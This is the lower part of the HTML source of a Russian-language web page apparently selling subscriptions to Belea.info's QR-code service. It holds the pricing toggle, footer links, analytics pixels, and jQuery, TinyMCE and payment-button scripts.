<div class="d-block w-100"><div class="d-inline-block font-weight-bold">QR-коды</div></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="justify-content-center">
<div class="container mt-12 py-4" style="">
<div id="register">
<div class="mb-5 d-flex justify-content-center">
<div class="btn-group btn-group-toggle" data-toggle="buttons">
<label class="btn btn-outline-secondary active" style="border: 1px solid #303030;" data-payment-frequency="1month">
<input type="radio" name="payment_frequency" value="1month" checked>1 месяц
</label>
<label class="btn btn-outline-secondary" style="border: 1px solid #303030;" data-payment-frequency="12month">
<input type="radio" name="payment_frequency" value="12month">12 месяцев
</label>
</div>
</div>
<div class="pricing-container">
<div class="pricing">
<div class=" shadow-lg" data-package-1month="true" data-package-3month="true" data-package-6month="true" data-package-12month="true">
<div class="pricing-header" style="background-color:#050506; padding: 4rem 3rem; border:none; border-radius: 8px;border: 1px solid #ffffff;">
<div class="pricing-price" style="color:#fff; margin-top: 0;">
<span class="pricing-price-amount d-none" data-package-payment-frequency="1month">490</span>
<span class="pricing-price-amount d-none" data-package-payment-frequency="3month">0</span>
<span class="pricing-price-amount d-none" data-package-payment-frequency="6month">0</span>
<span class="pricing-price-amount d-none" data-package-payment-frequency="12month">4900</span>
<span class="pricing-price-currency">RUB</span>
</div>
<div class="pricing-details">
<span class="d-none" data-package-payment-frequency="1month" >1 месяц</span>
<span class="d-none" data-package-payment-frequency="3month">3 месяца</span>
<span class="d-none" data-package-payment-frequency="6month">6 месяцев</span>
<span class="d-none" data-package-payment-frequency="12month">12 месяцев</span>
</div>
<a href="https://belea.info/register" onClick="ym('89322728','reachGoal','oplata'); return true;" class="closing-button animate__animated animate__infinite animate__slow animate__delay-2s animate__pulse" style="text-decoration: none;color: white;"><span>Оформить подписку</span></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</main>
<!-- <footer class="d-print-none footer m-0">
<div class="container">
<div class="row">
<div class="col-12 col-sm-4 mb-4 mb-sm-0">
<div class="mb-2">
<a class="h5 p-0" href="https://belea.info/">
Belea.info </a>
</div>
<div>© 2025 Belea.info</div>
</div>
<div class="col-12 col-sm-4 mb-4 mb-sm-0">
<div class="mb-2">
</div>
<div class="dropdown mb-2">
<a class="dropdown-toggle clickable" id="language_switch" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fa fa-fw fa-language text-muted"></i> Язык</a>
<div class="dropdown-menu" aria-labelledby="language_switch">
<h6 class="dropdown-header">Выбрать язык</h6>
<a class="dropdown-item" href="https://belea.info/index?language=english">
<i class="fa fa-fw fa-sm fa-circle-notch mr-1 text-muted"></i>
english </a>
<a class="dropdown-item" href="https://belea.info/index?language=russian">
<i class="fa fa-fw fa-sm fa-check mr-1 text-success"></i>
russian </a>
</div>
</div>
<div class="mb-2">
<a href="#" data-choose-theme-style="dark" class="">
<i class="fa fa-fw fa-sm fa-moon text-muted mr-1"></i> Тема </a>
<a href="#" data-choose-theme-style="light" class="d-none">
<i class="fa fa-fw fa-sm fa-sun text-muted mr-1"></i> Тема </a>
</div>
</div>
<div class="col-12 col-sm-4 mb-4 mb-sm-0">
</div>
</div>
</div>
</footer> -->
<style>
.social a {
text-align: center;
width: 28px;
height: 28px;
float: left;
background: #8080805c;
border: 0.5px solid #ccc;
box-shadow: 0 2px 4px rgb(0 0 0 / 15%), inset 0 0 30px rgb(0 0 0 / 10%);
border-radius: 7px;
margin: 0 10px 10px 0;
padding: 0px;
color: #000;
margin-top:10px;
}
.github a:hover {background: #191919; color: #fff;}
.youtube a:hover {background: #c4302b; color: #fff;}
.google-pluse a:hover {background: #DD4B39; color: #fff;}
.twitter a:hover {background: #00acee; color: #fff;}
.instagram a:hover {background: #cf2d897d; color: #fff;margin-top:10px;}
.facebook a:hover {background: #3b5998; color: #fff;}
.skype a:hover {background: #00aff0; color: #fff;}
.vk a:hover {background: #0177ff66; color: #fff;margin-top:10px;}
.odnoklassniki a:hover {background: #f93; color: #fff;}
.pinterest a:hover {background: #c8232c; color: #fff;}
.linkedin a:hover {background: #0e76a8; color: #fff;}
.telegram a:hover {background: #27a3e27d; color: #fff;margin-top:10px;}
.tumblr a:hover {background: #34526f; color: #fff;}
.windows a:hover {background: #125acd; color: #fff;}
.whatsapp a:hover {background: #50b154; color: #fff;}
.weibo a:hover {background: #d52b2b; color: #fff;}
.dropbox a:hover {background: #1087dd; color: #fff;}
</style>
<footer class="footer">
<div class="container d-print-none">
<div class="d-flex flex-column flex-lg-row justify-content-between mb-3">
<div class="mb-3 mb-lg-0">
<div>
<a href="tel:+78125027475" rel="nofollow">8 (812) 502-74-75</a><br>
<a href="/cdn-cgi/l/email-protection#0f666169604f6d6a636a6e2166616960"><span class="__cf_email__" data-cfemail="b3daddd5dcf3d1d6dfd6d29ddaddd5dc">[email protected]</span></a><br>
<a href="https://t.me/belea24" target="_blank">Служба поддержки в Telegram</a><br>
Все права защищены © 2022-24 Belea.info
</div>
</div>
<div class="row">
<div class="col-12 col-lg mb-3">
<ul class="list-style-none d-flex flex-column flex-lg-row flex-wrap m-0">
<li class="mb-2 mr-lg-3">
<i class="fa-solid fa-file-lines"></i> <a href="/pages/termsofuse" target="_blank">Условия использования</a><br>
<i class="fa-solid fa-cookie"></i> <a href="/pages/cookie" target="_blank">Политика cookie файлов</a><br>
<i class="fa-solid fa-shield"></i> <a href="/pages/confidentiality" target="_blank">Политика конфиденциальности</a><br>
<i class="fa-regular fa-object-ungroup"></i> <a href="/sample">Шаблоны</a><br>
<i class="fa-solid fa-handshake"></i> <a href="/partner">Партнерская программа</a><br>
</li>
</ul>
</div>
</div>
<div class="row">
<div class="col-12 col-lg mb-3">
<ul class="list-style-none d-flex flex-column flex-lg-row flex-wrap m-0">
<li class="mb-2 mr-lg-3">
<i class="fa-solid fa-brain"></i> <a href="https://belea.ai/?Нейросеть" target="_blank">Искусственный интеллект</a><br>
<i class="fa-solid fa-arrow-up-right-dots"></i> <a href="https://belea.promo/?Виджеты%20для%20сайта" target="_blank">Виджеты для сайта</a><br>
<i class="fa-solid fa-bell"></i> <a href="https://belea.app/?push-уведомления" target="_blank">Push-уведомления для сайта</a><br>
<i class="fa-solid fa-qrcode"></i> <a href="https://belea.cc/?генератор-QR-&-штрих-кодов" target="_blank">Генератор QR & штрих-кодов</a><br><br>
<a href="https://yookassa.ru/" target="_blank"> <img src="/themes/altum/assets/images/yu.png" width="115" height="50" alt="ЮKassa"></a>
</li>
</ul>
</div>
</div>
</div>
</footer>
<!-- Pixel Code - https://belea.app/ -->
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script defer src="https://belea.app/pixel/hMFVwp3JEUGHXgXB"></script>
<!-- END Pixel Code -->
<!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function(m, e, t, r, i, k, a) {
m[i] = m[i] || function() {
(m[i].a = m[i].a || []).push(arguments)
};
m[i].l = 1 * new Date();
k = e.createElement(t), a = e.getElementsByTagName(t)[0], k.async = 1, k.src = r, a.parentNode.insertBefore(k, a)
})
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
ym(89322728, "init", {
clickmap: true,
trackLinks: true,
accurateTrackBounce: true,
webvisor: true
});
</script>
<noscript>
<div><img src="https://mc.yandex.ru/watch/89322728" style="position:absolute; left:-9999px;" alt="" /></div>
</noscript>
<!-- /Yandex.Metrika counter -->
<!-- Pixel Code - https://belea.promo/ -->
<script defer src="https://belea.promo/pixel/OAAfVDLg6r4qtWuM6vXMcojyxwShDdZW"></script>
<!-- END Pixel Code -->
<input type="hidden" id="url" name="url" value="https://belea.info/" />
<input type="hidden" name="global_token" value="2bba812dad8a95d94e3ed18db74c4f8a" />
<input type="hidden" name="number_decimal_point" value="." />
<input type="hidden" name="number_thousands_separator"
value="," />
<script src="/themes/altum/assets/js/libraries/jquery.min.js"></script>
<script src="/themes/altum/assets/js/libraries/popper.min.js"></script>
<script src="/themes/altum/assets/js/libraries/bootstrap.min.js"></script>
<script src=""></script>
<script src=""></script>
<script src="/themes/altum/assets/js/main.js"></script>
<script src="/themes/altum/assets/js/functions.js"></script>
<script src="/themes/altum/assets/js/libraries/fontawesome.min.js"></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script>
// YaMap
const initSuggest = (block_id) => {
ymaps.ready(init);
function init() {
// поисковые подсказки
const suggestView = new ymaps.SuggestView(block_id);
suggestView.events.add('select', (event) => {
$('#' + block_id).val(event.get("item").value)
$('#' + block_id).data('modified', true)
})
}
}
const getCoordsByAddress = (address, input) => {
return ymaps.geocode(address, {
results: 1
}).then(function(res) {
const firstGeoObject = res.geoObjects.get(0)
if (typeof firstGeoObject !== 'undefined') {
const coords = firstGeoObject.geometry.getCoordinates()
$(input).val(coords)
return coords
} else {
return false
}
}).catch(error => {
console.log(error)
})
}
</script>
<script>
$(function() {
//owlcarusel
$('.owl-carousel.owl-index').owlCarousel({
center: true,
loop: true,
margin: 25,
dots: false,
nav: true,
autoplay: false,
autoplayTimeout: 4000,
autoplayHoverPause: false,
navText: [$('.go-next'), $('.go-prev')],
responsive: {
0: {
items: 1
},
768: {
items: 3
},
1260: {
items: 6
}
}
})
//owlcarusel
$('.play').on('click', function() {
owl.trigger('play.owl.autoplay', [1000])
})
$('.stop').on('click', function() {
owl.trigger('stop.owl.autoplay')
})
});
</script>
<link rel="stylesheet" href="/themes/altum/assets/js/libraries/codemirror/lib/codemirror.css">
<link rel="stylesheet" href="/themes/altum/assets/js/libraries/codemirror/theme/blackboard.css">
<script>
$('.rta-html').each(function(index, elem) {
var myCodeMirror = CodeMirror.fromTextArea(elem, {
value: elem.value,
lineNumbers: true,
mode: "htmlmixed",
theme: "blackboard",
autoRefresh: true
});
myCodeMirror.on('change', function(myCodeMirror) {
elem.value = encodeURIComponent(myCodeMirror.getValue());
});
});
function init_user_tinymce(selector) {
var useDarkMode = "";
tinymce.init({
selector: selector, // change this value according to your HTML
skin: useDarkMode ? 'oxide-dark' : 'oxide',
content_css: useDarkMode ? 'dark' : 'default',
toolbar: [
'fontselect font_sizes| bold italic underline strikethrough | alignleft aligncenter alignright alignjustify | numlist bullist | forecolor backcolor removeformat | nonbreaking | fullscreen',
],
// toolbar: 'fontselect fontsizeselect| bold italic underline strikethrough | alignleft aligncenter alignright alignjustify | numlist bullist | forecolor backcolor removeformat | nonbreaking | fullscreen',
toolbar_sticky: true,
toolbar_mode: 'sliding',
plugins: 'lists advlist autoresize paste nonbreaking fullscreen image lists table',
language: 'ru-ru',
max_height: 700,
min_height: 250,
menubar: false,
statusbar: false,
mobile: {
theme: "silver",
},
paste_auto_cleanup_on_paste: true,
paste_remove_styles: true,
paste_remove_styles_if_webkit: true,
paste_strip_class_attributes: true,
paste_as_text: true,
fontsize_formats: "Крошечный=12px Маленький=14px Средний=24px Большой=38px Огромный=48px Гигантский=55px",
content_style: `body { font-family: Montserrat; } p { margin: 0; } .tiny-text {font-size: 12px !important;} .small-text {font-size: 14px !important;} .medium-text {font-size: 18px !important;} .big-text {font-size: 24px !important;} .bigger-text {font-size: 38px !important;} .gigantic-text {font-size: 55px !important;} @import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap'); @import url('https://fonts.googleapis.com/css2?family=Caveat&display=swap');`,
font_formats: "По умолчанию=montserrat, sans-serif; Andale Mono=andale mono,times; Arial=arial,helvetica,sans-serif; Arial Black=arial black,avant garde; Book Antiqua=book antiqua,palatino;Caveat=Caveat; Courier New=courier new,courier; Georgia=georgia,palatino; Helvetica=helvetica; Impact=impact,chicago; Oswald=oswald; Press Start 2P=pressstart; Symbol=symbol; Tahoma=tahoma,arial,helvetica,sans-serif; Times New Roman=times new roman,times; Trebuchet MS=trebuchet ms,geneva; Verdana=verdana,geneva; Webdings=webdings; Wingdings=wingdings,zapf dingbats",
setup: function(editor) {
const save_changes = () => {
tinymce.triggerSave();
editor.save();
textarea = editor.getElement();
$(textarea).html($(selector).val())
$(textarea).change()
}
editor.on('change paste keyup', function() {
save_changes()
});
const fonts = {
'tiny-text': 'Очень маленький',
'small-text': 'Маленький',
'medium-text': 'Средний',
'big-text': 'Большой',
'bigger-text': 'Огромный',
'gigantic-text': 'Гигантский'
}
const fonts_classes = Object.keys(fonts)
editor.ui.registry.addMenuButton('font_sizes', {
text: 'Размер',
fetch: function(callback) {
var items = []
Object.entries(fonts).forEach(([key, value]) => {
items.push({
type: 'menuitem',
text: value,
onAction: function() {
const children = editor.selection.getNode().childNodes
children.forEach(child => {
if (child.nodeType == 1) {
child.classList.remove(...fonts_classes)
}
})
editor.selection.getNode().classList.remove(...fonts_classes)
editor.selection.getNode().style.removeProperty('font-size')
editor.selection.getNode().classList.add(key)
save_changes()
}
})
})
callback(items);
}
});
}
});
}
</script>
<script src="https://belea.info/themes/altum/assets/landing/js/owl.carousel.min.js?v=1170"></script>
<script src="https://belea.info/themes/altum/assets/landing/js/main.js?v=1170"></script>
<script>
let payment_frequency_handler = (event = null) => {
let payment_frequency = null;
if (event) {
payment_frequency = $(event.currentTarget).data('payment-frequency');
} else {
payment_frequency = $('[name="payment_frequency"]:checked').closest('label').data('payment-frequency');
}
switch (payment_frequency) {
case '1month':
$(`[data-package-payment-frequency="3month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="6month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="12month"]`).removeClass('d-inline-block').addClass('d-none');
break;
case '3month':
$(`[data-package-payment-frequency="1month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="6month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="12month"]`).removeClass('d-inline-block').addClass('d-none');
break
case '6month':
$(`[data-package-payment-frequency="1month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="3month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="12month"]`).removeClass('d-inline-block').addClass('d-none');
break
case '12month':
$(`[data-package-payment-frequency="1month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="3month"]`).removeClass('d-inline-block').addClass('d-none');
$(`[data-package-payment-frequency="6month"]`).removeClass('d-inline-block').addClass('d-none');
break
}
$(`[data-package-payment-frequency="${payment_frequency}"]`).addClass('d-inline-block');
$(`[data-package-${payment_frequency}="true"]`).removeClass('d-none').addClass('');
$(`[data-package-${payment_frequency}="false"]`).addClass('d-none').removeClass('');
};
$('[data-payment-frequency]').on('click', payment_frequency_handler);
payment_frequency_handler();
//old
// $('.pricing-button').on('click', function(event) {
// let payment_frequency = $('[name="payment_frequency"]:checked').val()
// //if in url exist 'pay' substr post
// if (~$(event.target).attr('href').indexOf('pay')) {
// event.preventDefault();
// const code = $('.code_discont').val();
// $.post($(event.target).attr('href'), {
// 'payment_frequency': payment_frequency,
// 'payment_processor': 'freekassa',
// 'payment_type': 'one_time',
// 'package_id': '1',
// 'code': code,
// global_token,
// }, function(data) {
// document.location.href = data
// })
// }
// })
$('.pricing-button').on('click', function(event) {
let payment_frequency = $('[name="payment_frequency"]:checked').val()
//if in url exist 'pay' substr post
if (~$(event.target).attr('href').indexOf('pay')) {
event.preventDefault();
const code = $('.code_discont').val();
$.post($(event.target).attr('href'), {
'payment_frequency': payment_frequency,
'payment_processor': 'yookassa',
'payment_type': 'one_time',
'package_id': '1',
'code': code,
global_token,
}, function(data) {
document.location.href = data
})
}
})
</script>
<script src="https://belea.info/themes/altum/assets/js/libraries/lozad.min.js"></script>
<script>
/* Lazy loading */
const observer = lozad();
observer.observe();
</script>
<script>
document.querySelectorAll('[data-choose-theme-style]').forEach(theme => {
theme.addEventListener('click', event => {
let chosen_theme_style = event.currentTarget.getAttribute('data-choose-theme-style');
/* Set a cookie with the new theme style */
set_cookie('theme_style', chosen_theme_style, 30);
/* Change the css and button on the page */
let css = document.querySelector(`#css_theme_style`);
document.querySelector(`[data-theme-style]`).setAttribute('data-theme-style', chosen_theme_style);
switch(chosen_theme_style) {
case 'dark':
css.setAttribute('href', "https:\/\/belea.info\/themes\/altum\/assets\/css\/bootstrap-dark.min.css?v=1170");
document.querySelector(`[data-choose-theme-style="dark"]`).classList.add('d-none');
document.querySelector(`[data-choose-theme-style="light"]`).classList.remove('d-none');
break;
case 'light':
css.setAttribute('href', "https:\/\/belea.info\/themes\/altum\/assets\/css\/bootstrap.min.css?v=1170");
document.querySelector(`[data-choose-theme-style="dark"]`).classList.remove('d-none');
document.querySelector(`[data-choose-theme-style="light"]`).classList.add('d-none');
break;
}
event.preventDefault();
});
})
</script>
</body>
</html>